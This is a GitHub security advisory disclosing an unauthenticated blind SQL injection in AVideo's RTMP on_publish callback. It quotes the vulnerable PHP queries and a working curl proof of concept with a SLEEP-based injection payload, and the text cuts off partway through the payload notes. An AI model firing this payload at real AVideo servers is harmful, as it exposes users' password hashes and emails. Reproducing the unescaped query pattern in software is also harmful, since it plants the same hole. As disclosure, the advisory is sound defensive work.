GitHub Security Advisory: GHSA-8p58-35c3-ccxx
Package: wwbn/avideo (COMPOSER)
Severity: HIGH (CVSS 7.5)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: <= 26.0
Patched in: unpatched

Summary: AVideo has an Unauthenticated Blind SQL Injection in RTMP on_publish Callback via Stream Name Parameter

Details:
## Summary

The RTMP `on_publish` callback at `plugin/Live/on_publish.php` is accessible without authentication. The `$_POST['name']` parameter (stream key) is interpolated directly into SQL queries in two locations — `LiveTransmitionHistory::getLatest()` and `LiveTransmition::keyExists()` — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data.

## Details

**Entry point:** `plugin/Live/on_publish.php` — no authentication, no IP allowlist, no origin verification.

**Sanitization (insufficient):** Line 117 strips only `&` and `=` characters:
```php
// plugin/Live/on_publish.php:117
$_POST['name'] = preg_replace("/[&=]/", '', $_POST['name']);
```

**Injection point #1 — unconditional (no `p` parameter needed):**

At line 120, `$_POST['name']` is passed directly to `LiveTransmitionHistory::getLatest()`:
```php
// plugin/Live/on_publish.php:120
$activeLive = LiveTransmitionHistory::getLatest($_POST['name'], $live_servers_id, ...);
```

Inside `getLatest()`, the key is interpolated into a LIKE clause without escaping:
```php
// plugin/Live/Objects/LiveTransmitionHistory.php:494-495
if (!empty($key)) {
    $sql .= " AND lth.`key` LIKE '{$key}%' ";
}
```

**Injection point #2 — when `$_GET['p']` is provided:**

At line 146, `$_POST['name']` is passed to `LiveTransmition::keyExists()`:
```php
// plugin/Live/on_publish.php:146
$obj->row = LiveTransmition::keyExists($_POST['name']);
```

Inside `keyExists()`, `cleanUpKey()` is called (which only strips adaptive/playlist/sub suffixes — no SQL escaping), then the key is interpolated directly:
```php
// plugin/Live/Objects/LiveTransmition.php:298-303
$key = Live::cleanUpKey($key);
$sql = "SELECT u.*, lt.*, lt.password as live_password FROM " . static::getTableName() . " lt "
        . " LEFT JOIN users u ON u.id = users_id AND u.status='a' "
        . " WHERE  `key` = '$key' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1";
$res = sqlDAL::readSql($sql);
```

**Why `readSql()` provides no protection:** When called without format/values parameters (as in both cases above), `sqlDAL::readSql()` passes the full SQL string — with the injection payload already embedded — to `$global['mysqli']->prepare()`. Since there are no placeholders (`?`) and no bound parameters, `prepare()` simply compiles the injected SQL as-is. The `eval_mysql_bind()` function returns `true` immediately when formats/values are empty.

## PoC

**Injection point #1 (unconditional — simplest):**

```bash
# Time-based blind SQLi via getLatest() — no p parameter needed
curl -s -o /dev/null -w "%{time_total}" \
  -X POST "http://TARGET/plugin/Live/on_publish.php" \
  -d "tcurl=rtmp://localhost/live&name=' OR (SELECT SLEEP(5)) %23"
```

A ~5-second response time confirms injection. The payload:
- Avoids `&` and `=` (stripped by line 117)
- Avoids `_` and `-` in positions where `cleanUpK